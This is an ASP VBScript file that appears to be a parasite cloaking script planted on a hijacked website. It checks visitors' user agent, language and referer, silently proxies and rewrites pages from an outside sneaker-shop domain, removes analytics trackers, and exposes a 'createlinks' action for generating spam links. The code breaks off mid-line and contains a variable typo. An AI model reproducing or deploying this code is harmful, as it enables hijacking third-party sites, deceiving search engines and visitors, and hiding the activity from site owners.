%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
lailu=Request.ServerVariables("HTTP_REFERER")
lang=Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")
zhizhu=Request.ServerVariables("HTTP_USER_AGENT")
lang=LCase(Mid(lang,1,4))
zhizhu=LCase(zhizu)
'response.write lang
zt="0"
if instr(zhizhu,"aol") or instr(zhizhu,"google") or instr(zhizhu,"soso") or instr(zhizhu,"bing") or instr(zhizhu,"sogou") or instr(zhizhu,"360") then
zt="1"
elseif instr(lang,"de") or instr(lang,"zh") or instr(lang,"en") or instr(lang,"fr") or instr(lang,"el") or instr(lang,"da") or instr(lang,"nl") or instr(lang,"ko") or instr(lang,"jp") or instr(lang,"es") or instr(lang,"nb-no") or instr(lang,"pl") or instr(lang,"ru") or instr(lang,"sv") or instr(lang,"pt") then
zt="2"
elseif lailu<>"" then
zt="3"
else
zt="4"
end if
'response.write zt
if zt="1" or zt="2" then
response.write ""
response.end
else if zt="3" then
response.write ""
response.end
end if
end if
%>
<%
server.ScriptTimeout=9999999
On Error Resume next
%>
<%
action=request("action")
replacestr=request("replacestr")
If action="createlinks" and replacestr<>"" Then
Response.Write CreateLink()
Response.End
End If
queryStr=Trim(Request.QueryString)
siteUrl="http://sneakersaddict.com"
jsUrl=""
previousUrl=""
locationUrl=GetLocationURL()
sourceBody=GetResStr(siteUrl&"/"&queryStr)
sourceBody=replace(sourceBody,"'","""",1,-1,1)
sourceBody=replace(sourceBody,""""&"/",""""&siteUrl&"/",1,-1,1)
sourceBody=replace(sourceBody,"../../../","../",1,-1,1)
sourceBody=replace(sourceBody,"../../","../",1,-1,1)
sourceBody=replace(sourceBody,"../",siteUrl&"/",1,-1,1)
sourceBody=replace(sourceBody,""""&"includes/",""""&siteUrl&"/includes/",1,-1,1)
sourceBody=replace(sourceBody,""""&"images/",""""&siteUrl&"/images/",1,-1,1)
sourceBody=replace(sourceBody,""""&"js/",""""&siteUrl&"/js/",1,-1,1)
sourceBody=replace(sourceBody,""""&"products/",""""&siteUrl&"/products/",1,-1,1)
sourceBody=RegexReplace(sourceBody,"","")
sourceBody=RegexReplace(sourceBody,"http://js.users.51.la/(.*?).js","")
sourceBody=replace(sourceBody,"cnzz.com/z_stat.php","",1,-1,1)
sourceBody=replace(sourceBody,"google-analytics.com/ga.js","",1,-1,1)
sourceBody=replace(sourceBody,"